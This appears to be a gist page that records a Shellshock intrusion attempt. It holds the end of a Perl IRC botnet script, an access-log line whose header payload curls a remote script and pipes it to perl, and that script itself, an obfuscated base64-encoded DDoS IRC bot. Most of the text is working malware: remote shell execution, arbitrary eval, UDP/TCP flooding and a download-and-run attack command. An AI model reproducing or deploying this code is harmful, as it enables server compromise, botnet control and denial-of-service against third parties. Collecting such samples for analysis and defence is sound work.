deop("$printl", "$kem") if $case eq "deop"; | |
my $oarg = substr($case, 5); | |
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
elsif ($case =~ /^voice/) { | |
voice("$printl", "$kem") if $case eq "voice"; | |
$oarg = substr($case, 6); | |
voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
elsif ($case =~ /^devoice/) { | |
devoice("$printl", "$kem") if $case eq "devoice"; | |
$oarg = substr($case, 8); | |
devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
elsif ($case =~ /^msg\s+(\S+) (.*)/) { | |
msg("$1", "$2"); | |
} | |
elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { | |
for (my $cf = 1; $cf <= $1; $cf++) { | |
msg("$2", "$3"); | |
} | |
} | |
elsif ($case =~ /^ctcp\s+(\S+) (.*)/) { | |
ctcp("$1", "$2"); | |
} | |
elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { | |
for (my $cf = 1; $cf <= $1; $cf++) { | |
ctcp("$2", "$3"); | |
} | |
} | |
elsif ($case =~ /^invite\s+(\S+) (.*)/) { | |
invite("$1", "$2"); | |
} | |
elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) { | |
conectar("$2", "$1", "6667"); | |
} | |
elsif ($case =~ /^nick (.*)/) { | |
nick("$1"); | |
} | |
elsif ($case =~ /^raw (.*)/) { | |
sendraw("$1"); | |
} | |
elsif ($case =~ /^eval (.*)/) { | |
eval "$1"; | |
} | |
elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) { | |
sleep int(rand($2)); | |
j("$1"); | |
} | |
elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) { | |
sleep int(rand($2)); | |
p("$1"); | |
} | |
elsif ($case =~ /^quit/) { | |
quit(); | |
} | |
} | |
############## | |
sub shell { | |
my $printl=$_[0]; | |
my $comando=$_[1]; | |
if ($comando =~ /cd (.*)/) { | |
chdir("$1") || msg("$printl", "No such file or directory"); | |
return; | |
} elsif ($pid = fork) { | |
waitpid($pid, 0); | |
} else { | |
if (fork) { | |
exit; | |
} else { | |
my @resp=`$comando 2>&1 3>&1`; | |
my $c=0; | |
foreach my $linha (@resp) { | |
$c++; | |
chop $linha; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); | |
if ($c == "$linas_max") { | |
$c=0; | |
sleep $sleep; | |
} | |
} | |
exit; | |
} | |
} | |
} | |
############## | |
sub udpflooder { | |
my $iaddr = inet_aton($_[0]); | |
my $msg = 'A' x $_[1]; | |
my $ftime = $_[2]; | |
my $cp = 0; | |
my (%pacotes); | |
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; | |
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; | |
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; | |
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; | |
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; | |
return(undef) if $cp == 4; | |
my $itime = time; | |
my ($cur_time); | |
while ( 1 ) { | |
for (my $port = 1; | |
$port <= 65000; $port++) { | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++; | |
send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++; | |
send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++; | |
send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++; | |
for (my $pc = 3; | |
$pc <= 255;$pc++) { | |
next if $pc == 6; | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; | |
send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++; | |
} | |
} | |
last if $cur_time >= $ftime; | |
} | |
return($cur_time, %pacotes); | |
} | |
############## | |
sub tcpflooder { | |
my $itime = time; | |
my ($cur_time); | |
my ($ia,$pa,$proto,$j,$l,$t); | |
$ia=inet_aton($_[0]); | |
$pa=sockaddr_in($_[1],$ia); | |
$ftime=$_[2]; | |
$proto=getprotobyname('tcp'); | |
$j=0;$l=0; | |
$cur_time = time - $itime; | |
while ($l<1000){ | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
$t="SOCK$l"; | |
socket($t,PF_INET,SOCK_STREAM,$proto); | |
connect($t,$pa)||$j--; | |
$j++;$l++; | |
} | |
$l=0; | |
while ($l<1000){ | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
$t="SOCK$l"; | |
shutdown($t,2); | |
$l++; | |
} | |
} | |
############## | |
sub msg { | |
return unless $#_ == 1; | |
sendraw("PRIVMSG $_[0] :$_[1]"); | |
} | |
sub ctcp { | |
return unless $#_ == 1; | |
sendraw("PRIVMSG $_[0] :\001$_[1]\001"); | |
} | |
sub notice { | |
return unless $#_ == 1; | |
sendraw("NOTICE $_[0] :$_[1]"); | |
} | |
sub op { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] +o $_[1]"); | |
} | |
sub deop { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] -o $_[1]"); | |
} | |
sub voice { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] +v $_[1]"); | |
} | |
sub devoice { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] -v $_[1]"); | |
} | |
sub j { &join(@_); } | |
sub join { | |
return unless $#_ == 0; | |
sendraw("JOIN $_[0]"); | |
} | |
sub p { part(@_); } | |
sub part {sendraw("PART $_[0]");} | |
sub nick { | |
return unless $#_ == 0; | |
sendraw("NICK $_[0]"); | |
} | |
sub quit { | |
sendraw("QUIT :$_[0]"); | |
exit; | |
} | |
sub modo { | |
return unless $#_ == 0; | |
sendraw("MODE $_[0] $_[1]"); | |
} | |
sub mode { modo(@_); } | |
sub invite { | |
return unless $#_ == 1; | |
sendraw("INVITE $_[1] $_[0]"); | |
} | |
sub topico { | |
return unless $#_ == 1; | |
sendraw("TOPIC $_[0] $_[1]"); | |
} | |
sub topic { topico(@_); } | |
sub away { | |
sendraw("AWAY $_[0]"); | |
} | |
sub back { away(); } | |
} | |
################### | |
##### [ EOF ] ##### | |
################### |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
starshaped-access.log:62.141.39.57 - - [23/Oct/2014:14:28:58 -0400] "GET /cgi-bin/add_ftp.cgi HTTP/1.0" 404 17745 "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl" "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# From the URL in question http://202.143.160.141/lib21/index.cgi - contents begin on next line | |
#!/usr/bin/perl | |
use MIME::Base64; | |
eval (decode_base64('DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyAgRERvUyBQZXJsIElyY0JvdCB2MS4wIC8gMjAxMiBieSBERG9TIFNlY3VyaXR5IFRlYW0gICAgICAgIyMgWyBIZWxwIF0gIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMgICAgICBTdGVhbHRoIE11bHRpRnVuY3Rpb25hbCBJcmNCb3Qgd3JpdGVuIGluIFBlcmwgICAgICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMgICAgICAgIFRlc3RlIG9uIGV2ZXJ5IHN5c3RlbSB3aXRoIFBFUkwgaW5zdGxsZWQgICAgICAgICAgICAgIyMgICF1IEBzeXN0ZW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICF1IEB2ZXJzaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICAgIFRoaXMgaXMgYSBmcmVlIHByb2dyYW0gdXNlZCBvbiB5b3VyIG93biByaXNrLiAgICAgICAgICAgIyMgICF1IEBjaGFubmVsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICAgICAgIENyZWF0ZWQgZm9yIGVkdWNhdGlvbmFsIHB1cnBvc2Ugb25seS4gICAgICAgICAgICAgICAgIyMgICF1IEBmbG9vZCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgSSdtIG5vdCByZXNwb25zaWJsZSBmb3IgdGhlIGlsbGVnYWwgdXNlIG9mIHRoaXMgcHJvZ3JhbS4gICAgIyMgICF1IEB1dGlscyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMgWyBDaGFubmVsIF0gIyMjIyMjIyMjIyMjIyMjIyMjIyMgWyBGbG9vZCBdICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgWyBVdGlscyBdICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMgICF1IEBqb2luIDwjY2hhbm5lbD4JICAgICAgICAgIyMgICF1IEB1ZHAxIDxpcD4gPHBvcnQ+IDx0aW1lPiAgICAgICAgICAgICAgIyMgICF1IEBjYmFjayA8aXA+IDxwb3J0PiAgICAgICAgICAgICAjIw0KIyMgICF1IEBwYXJ0IDwjY2hhbm5lbD4gICAgICAgICAgIyMgICF1IEB1ZHAyIDxpcD4gPHBhY2tldCBzaXplPiA8dGltZT4gICAgICAgIyMgICF1IEBkb3dubG9kIDx1cmwrcGF0aD4gPGZpbGU+ICAgICAjIw0KIyMgICF1ICF1ZWpvaW4gPCNjaGFubmVsPiAgICAgICAgIyMgICF1IEB1ZHAzIDxpcD4gPHBvcnQ+IDx0aW1lPiAgICAgICAgICAgICAgIyMgICF1IEBwb3J0c2NhbiA8aXA+ICAgICAgICAgICAgICAgICAjIw0KIyMgICF1ICFvcCA8Y2hhbm5lbD4gPG5pY2s+ICAgICAgIyMgICF1IEB0Y3AgPGlwPiA8cG9ydD4gPHBhY2tldCBzaXplPiA8dGltZT4gIyMgICF1IEBtYWlsIDxzdWJqZWN0PiA8c2VuZGVyPiAgICAgICAjIw0KIyMgICF1ICFkZW9wIDxjaGFubmVsPiA8bmljaz4gICAgIyMgICF1IEBodHRwIDxzaXRlPiA8dGltZT4gICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgIDxyZWNpcGllbnQ+IDxtZXNzYWdlPiAgICAjIw0KIyMgICF1ICF2b2ljZSA8Y2hhbm5lbD4gPG5pY2s+ICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICF1IHB3ZDt1bmFtZSAtYTtpZCA8Zm9yIGV4YW1wbGU+ICAjIw0KIyMgICF1ICFkZXZvaWNlIDxjaGFubmVsPiA8bmljaz4gIyMgICF1IEBjdGNwZmxvb2QgPG5pY2s+ICAgICAgICAgICAgICAgICAgICAgIyMgICF1IEBwb3J0IDxpcD4gPHBvcnQ+ICAgICAgICAgICAgICAjIw0KIyMgICF1ICFuaWNrIDxuZXduaWNrPiAgICAgICAgICAgIyMgICF1IEBtc2dmbG9vZCA8bmljaz4gICAgICAgICAgICAgICAgICAgICAgIyMgICF1IEBkbnMgPGlwL2hvc3Q+ICAgICAgICAgICAgICAgICAjIw0KIyMgICF1ICFtc2cgPG5pY2s+ICAgICAgICAgICAgICAgIyMgICF1IEBub3RpY2VmbG9vZCA8bmljaz4gICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICF1ICFxdWl0ICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICF1ICF1YXcgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICF1IEBkaWUgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMgWyBDb25maWd1cmF0aW9uIF0gIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCm15IEBycHMgPSAoIi91c3IvbG9jYWwvYXBhY2hlL2Jpbi9odHRwZCAtRFNTTCIsDQoJCSAgICIvdXNyL3NiaW4vaHR0cGQgLWsgc3RhcnQgLURTU0wiLA0KICAgICAgICAgICAiL3Vzci9zYmluL2h0dHBkIiwNCgkJICAgIi91c3Ivc2Jpbi9zc2hkIC1pIiwNCgkJICAgIi91c3Ivc2Jpbi9zc2hkIiwNCgkgICAgICAgIi91c3Ivc2Jpbi9zc2hkIC1EIiwNCiAgICAgICAgICAgIi91c3Ivc2Jpbi9hcGFjaGUyIC1rIHN0YXJ0IiwNCgkgICAgICAgIi9zYmluL3N5c2xvZ2QiLA0KCSAgICAgICAiL3NiaW4va2xvZ2QgLWMgMSAteCAteCIsDQoJCSAgICIvdXNyL3NiaW4vYWNwaWQiLA0KCQkgICAiL3Vzci9zYmluL2Nyb24iKTsNCm15ICRwcm9jZXNzID0gJHJwc1tyYW5kIHNjYWxhciBAcnBzXTsNCg0KbXkgJHZlcnMgPSAiXDAwMVZFUlNJT04gLSB1bmtub3duIGNvbW1hbmQuXDAwMSI7DQpteSAkaXJjbmFtZSA9ICJzaG9jayI7DQpteSAkcmVhbG5hbWUgPSBgdW5hbWUgLXZyYDsNCm15ICRuaWNrID0gInBlcmwiOw0KDQokc2VydmVyID0gJ2ZmbHl5LnN1JyB1bmxlc3MgJHNlcnZlcjsNCm15ICRwb3J0ID0gJzgwODAnOw0KDQpteSAkbGluYXNfbWF4PScxMCc7DQpteSAkc2xlZXA9JzUnOw0KDQpteSAkaG9tZWRpciA9ICIvdG1wIjsNCm15ICR2ZXJzaW9uID0gJ0REb1MgUGVybCBCb3QgdjEuMCc7DQoNCm15IEBhZG1pbnMgPSAoIk0iLCJzdDBuM2QiLCJ4MDAiLCJKb3JnZWUiKTsNCm15IEBob3N0YXV0aCA9ICgibG9saG9tZSIpOw0KbXkgQGNoYW5uZWxzID0gKCIjbXBlcmwyIik7DQokdW5hbWVhID0gYHVuYW1lIC1hYDsNCiR1aWQgPSBgaWRgOw0KDQpteSAkcGFjb3RlcyA9IDE7DQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyBbIFN0b3AgRWRpdGluZyBpZiB5b3UgZG9udCBrbm93IHdoYXQgYXJlIHlvdSBkb2luZy4gXSAjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KJFNJR3snSU5UJ30gPSAnSUdOT1JFJzsNCiRTSUd7J0hVUCd9ID0gJ0lHTk9SRSc7DQokU0lHeydURVJNJ30gPSAnSUdOT1JFJzsNCiRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJFNJR3snUFMnfSA9ICdJR05PUkUnOw0KDQp1c2UgU29ja2V0Ow0KdXNlIElPOjpTb2NrZXQ7DQp1c2UgSU86OlNvY2tldDo6SU5FVDsNCnVzZSBJTzo6U2VsZWN0Ow0KDQpjaGRpcigiJGhvbWVkaXIiKTsNCg0KJHNlcnZlcj0iJEFSR1ZbMF0iIGlmICRBUkdWWzBdOw0KJDA9IiRwcm9jZXNzIi4iXDAieDE2OzsNCm15ICRwaWQ9Zm9yazsNCmV4aXQgaWYgJHBpZDsNCmRpZSAiQ2FuJ3QgZm9yayBpbiBiYWNrZ3JvdW5kOiAkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7DQoNCm91ciAlaXJjX3NlcnZlcnM7DQpvdXIgJURDQzsNCm15ICRkY2Nfc2VsID0gbmV3IElPOjpTZWxlY3QtPm5ldygpOw0KJHNlbF9jbGllbnRlID0gSU86OlNlbGVjdC0+bmV3KCk7DQpzdWIgc2VuZHJhdyB7DQogIGlmICgkI18gPT0gJzEnKSB7DQogICAgbXkgJHNvY2tldCA9ICRfWzBdOw0KICAgIHByaW50ICRzb2NrZXQgIiRfWzFdXG4iOw0KICB9IGVsc2Ugew0KICAgIHByaW50ICRJUkNfY3VyX3NvY2tldCAiJF9bMF1cbiI7DQogIH0NCn0NCg0Kc3ViIGdldHN0b3JlICgkJCkNCnsNCiAgbXkgJHVybCA9IHNoaWZ0Ow0KICBteSAkZmlsZSA9IHNoaWZ0Ow0KICAkaHR0cF9zdHJlYW1fb3V0ID0gMTsNCiAgb3BlbihHRVRfT1VURklMRSwgIj4gJGZpbGUiKTsNCiAgJWh0dHBfbG9vcF9jaGVjayA9ICgpOw0KICBfZ2V0KCR1cmwpOw0KICBjbG9zZSBHRVRfT1VURklMRTsNCiAgcmV0dXJuICRtYWluOjpodHRwX2dldF9yZXN1bHQ7DQp9DQoNCnN1YiBfZ2V0DQp7DQogIG15ICR1cmwgPSBzaGlmdDsNCiAgbXkgJHByb3h5ID0gIiI7DQogIGdyZXAgeyhsYygkXykgZXEgImh0dHBfcHJveHkiKSAmJiAoJHByb3h5ID0gJEVOVnskX30pfSBrZXlzICVFTlY7DQogIGlmICgoJHByb3h5IGVxICIiKSAmJiAkdXJsID1+IG0sXmh0dHA6Ly8oW14vOl0rKSg/OjooXGQrKSk/KC9cUyopPyQsKSB7DQogICAgbXkgJGhvc3QgPSAkMTsNCiAgICBteSAkcG9ydCA9ICQyIHx8IDgwOw0KICAgIG15ICRwYXRoID0gJDM7DQogICAgJHBhdGggPSAiLyIgdW5sZXNzIGRlZmluZWQoJHBhdGgpOw0KICAgIHJldHVybiBfdHJpdmlhbF9odHRwX2dldCgkaG9zdCwgJHBvcnQsICRwYXRoKTsNCiAgfSBlbHNpZiAoJHByb3h5ID1+IG0sXmh0dHA6Ly8oW14vOl0rKTooXGQrKSgvXFMqKT8kLCkgew0KICAgIG15ICRob3N0ID0gJDE7DQogICAgbXkgJHBvcnQgPSAkMjsNCiAgICBteSAkcGF0aCA9ICR1cmw7DQogICAgcmV0dXJuIF90cml2aWFsX2h0dHBfZ2V0KCRob3N0LCAkcG9ydCwgJHBhdGgpOw0KICB9IGVsc2Ugew0KICAgIHJldHVybiB1bmRlZjsNCiAgfQ0KfQ0KDQoNCnN1YiBfdHJpdmlhbF9odHRwX2dldA0Kew0KICBteSgkaG9zdCwgJHBvcnQsICRwYXRoKSA9IEBfOw0KICBteSgkQUdFTlQsICRWRVJTSU9OLCAkcCk7DQogICRBR0VOVCA9ICJnZXQtbWluaW1hbCI7DQogICRWRVJTSU9OID0gIjIwMDAwMTE4IjsNCiAgJHBhdGggPX4gcy8gLyUyMC9nOw0KDQogIHJlcXVpcmUgSU86OlNvY2tldDsNCiAgbG9jYWwoJF5XKSA9IDA7DQogIG15ICRzb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFBlZXJBZGRyID0+ICRob3N0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQZWVyUG9ydCA9PiAkcG9ydCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUHJvdG8gICA9PiAndGNwJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVGltZW91dCAgPT4gNjApIHx8IHJldHVybjsNCiAgJHNvY2stPmF1dG9mbHVzaDsNCiAgbXkgJG5ldGxvYyA9ICRob3N0Ow0KICAkbmV0bG9jIC49ICI6JHBvcnQiIGlmICRwb3J0ICE9IDgwOw0KICBteSAkcmVxdWVzdCA9ICJHRVQgJHBhdGggSFRUUC8xLjBcMDE1XDAxMiINCiAgICAgICAgICAgICAgLiAiSG9zdDogJG5ldGxvY1wwMTVcMDEyIg0KICAgICAgICAgICAgICAuICJVc2VyLUFnZW50OiAkQUdFTlQvJFZFUlNJT04vdVwwMTVcMDEyIjsNCiAgJHJlcXVlc3QgLj0gIlByYWdtYTogbm8tY2FjaGVcMDE1XDAxMiIgaWYgKCRtYWluOjpodHRwX25vX2NhY2hlKTsNCiAgJHJlcXVlc3QgLj0gIlwwMTVcMDEyIjsNCiAgcHJpbnQgJHNvY2sgJHJlcXVlc3Q7DQoNCiAgbXkgJGJ1ZiA9ICIiOw0KICBteSAkbjsNCiAgbXkgJGIxID0gIiI7DQogIHdoaWxlICgkbiA9IHN5c3JlYWQoJHNvY2ssICRidWYsIDgqMTAyNCwgbGVuZ3RoKCRidWYpKSkgew0KICAgIGlmICgkYjEgZXEgIiIpIHsNCiAgICAgICRiMSA9ICRidWY7DQogICAgICAkYnVmID1+IHMvLis/XDAxNT9cMDEyXDAxNT9cMDEyLy9zOw0KICAgIH0NCiAgICBpZiAoJGh0dHBfc3RyZWFtX291dCkgeyBwcmludCBHRVRfT1VURklMRSAkYnVmOyAkYnVmID0gIiI7IH0NCiAgfQ0KICByZXR1cm4gdW5kZWYgdW5sZXNzIGRlZmluZWQoJG4pOw0KICAkbWFpbjo6aHR0cF9nZXRfcmVzdWx0ID0gMjAwOw0KICBpZiAoJGIxID1+IG0sXkhUVFAvXGQrXC5cZCtccysoXGQrKVteXDAxMl0qXDAxMiwpIHsNCiAgICAkbWFpbjo6aHR0cF9nZXRfcmVzdWx0ID0gJDE7DQogICAgaWYgKCRtYWluOjpodHRwX2dldF9yZXN1bHQgPX4gL14zMFsxMjM3XS8gJiYgJGIxID1+IC9cMDEyTG9jYXRpb246XHMqKFxTKykvKSB7DQogICAgICBteSAkdXJsID0gJDE7DQogICAgICByZXR1cm4gdW5kZWYgaWYgJGh0dHBfbG9vcF9jaGVja3skdXJsfSsrOw0KICAgICAgcmV0dXJuIF9nZXQoJHVybCk7DQogICAgfQ0KICAgIHJldHVybiB1bmRlZiB1bmxlc3MgJG1haW46Omh0dHBfZ2V0X3Jlc3VsdCA9fiAvXjIvOw0KICB9DQoNCiAgcmV0dXJuICRidWY7DQp9DQoNCnN1YiBjb25lY3RhciB7DQogIG15ICRtZXVuaWNrID0gJF9bMF07DQogIG15ICRzZXJ2ZXJfY29uID0gJF9bMV07DQogIG15ICRwb3J0X2NvbiA9ICRfWzJdOw0KICBteSAkSVJDX3NvY2tldCA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQcm90bz0+InRjcCIsIFBlZXJBZGRyPT4iJHNlcnZlcl9jb24iLA0KICBQZWVyUG9ydD0+JHBvcnRfY29uKSBvciByZXR1cm4oMSk7DQogIGlmIChkZWZpbmVkKCRJUkNfc29ja2V0KSkgew0KICAgICRJUkNfY3VyX3NvY2tldCA9ICRJUkNfc29ja2V0Ow0KICAgICRJUkNfc29ja2V0LT5hdXRvZmx1c2goMSk7DQogICAgJHNlbF9jbGllbnRlLT5hZGQoJElSQ19zb2NrZXQpOw0KICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydob3N0J30gPSAiJHNlcnZlcl9jb24iOw0KICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydwb3J0J30gPSAiJHBvcnRfY29uIjsNCiAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbmljayd9ID0gJG1ldW5pY2s7DQogICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J21ldWlwJ30gPSAkSVJDX3NvY2tldC0+c29ja2hvc3Q7DQogICAgbmljaygiJG1ldW5pY2siKTsNCiAgICBzZW5kcmF3KCJVU0VSICRpcmNuYW1lICIuJElSQ19zb2NrZXQtPnNvY2tob3N0LiIgJHNlcnZlcl9jb24gOiRyZWFsbmFtZSIpOw0KICAgIHNsZWVwIDE7DQogIH0NCn0NCg0KbXkgJGxpbmVfdGVtcDsNCndoaWxlKCAxICkgew0KICB3aGlsZSAoIShrZXlzKCVpcmNfc2VydmVycykpKSB7IGNvbmVjdGFyKCIkbmljayIsICIkc2VydmVyIiwgIiRwb3J0Iik7IH0NCiAgZGVsZXRlKCRpcmNfc2VydmVyc3snJ30pIGlmIChkZWZpbmVkKCRpcmNfc2VydmVyc3snJ30pKTsNCiAgbXkgQHJlYWR5ID0gJHNlbF9jbGllbnRlLT5jYW5fcmVhZCgwKTsNCiAgbmV4dCB1bmxlc3MoQHJlYWR5KTsNCiAgZm9yZWFjaCAkZmggKEByZWFkeSkgew0KICAgICRJUkNfY3VyX3NvY2tldCA9ICRmaDsNCiAgICAkbWV1bmljayA9ICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eyduaWNrJ307DQogICAgJG5yZWFkID0gc3lzcmVhZCgkZmgsICRtc2csIDQwOTYpOw0KICAgIGlmICgkbnJlYWQgPT0gMCkgew0KICAgICAgJHNlbF9jbGllbnRlLT5yZW1vdmUoJGZoKTsNCiAgICAgICRmaC0+Y2xvc2U7DQogICAgICBkZWxldGUoJGlyY19zZXJ2ZXJzeyRmaH0pOw0KICAgIH0NCiAgICBAbGluZXMgPSBzcGxpdCAoL1xuLywgJG1zZyk7DQogICAgZm9yKG15ICRjPTA7ICRjPD0gJCNsaW5lczsgJGMrKykgew0KICAgICAgJGxpbmUgPSAkbGluZXNbJGNdOw0KICAgICAgJGxpbmU9JGxpbmVfdGVtcC4kbGluZSBpZiAoJGxpbmVfdGVtcCk7DQogICAgICAkbGluZV90ZW1wPScnOw0KICAgICAgJGxpbmUgPX4gcy9cciQvLzsNCiAgICAgIHVubGVzcyAoJGMgPT0gJCNsaW5lcykgew0KICAgICAgICBwYXJzZSgiJGxpbmUiKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgaWYgKCQjbGluZXMgPT0gMCkgew0KICAgICAgICAgIHBhcnNlKCIkbGluZSIpOw0KICAgICAgICAgIH0gZWxzaWYgKCRsaW5lc1skY10gPX4gL1xyJC8pIHsNCiAgICAgICAgICBwYXJzZSgiJGxpbmUiKTsNCiAgICAgICAgICB9IGVsc2lmICgkbGluZSA9fiAvXihcUyspIE5PVElDRSBBVVRIIDpcKlwqXCovKSB7DQogICAgICAgICAgcGFyc2UoIiRsaW5lIik7IA0KICAgICAgICB9IGVsc2Ugew0KICAgICAgJGxpbmVfdGVtcCA9ICRsaW5lOw0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICB9DQp9DQoNCnN1YiBwYXJzZSB7DQogIG15ICRzZXJ2YXJnID0gc2hpZnQ7DQogIGlmICgkc2VydmFyZyA9fiAvXlBJTkcgXDooLiopLykgew0KICAgIHNlbmRyYXcoIlBPTkcgOiQxIik7DQogICAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gL15cOiguKz8pXCEoLis/KVxAKC4rPykgUFJJVk1TRyAoLis/KSBcOiguKykvKSB7DQogICAgbXkgJHB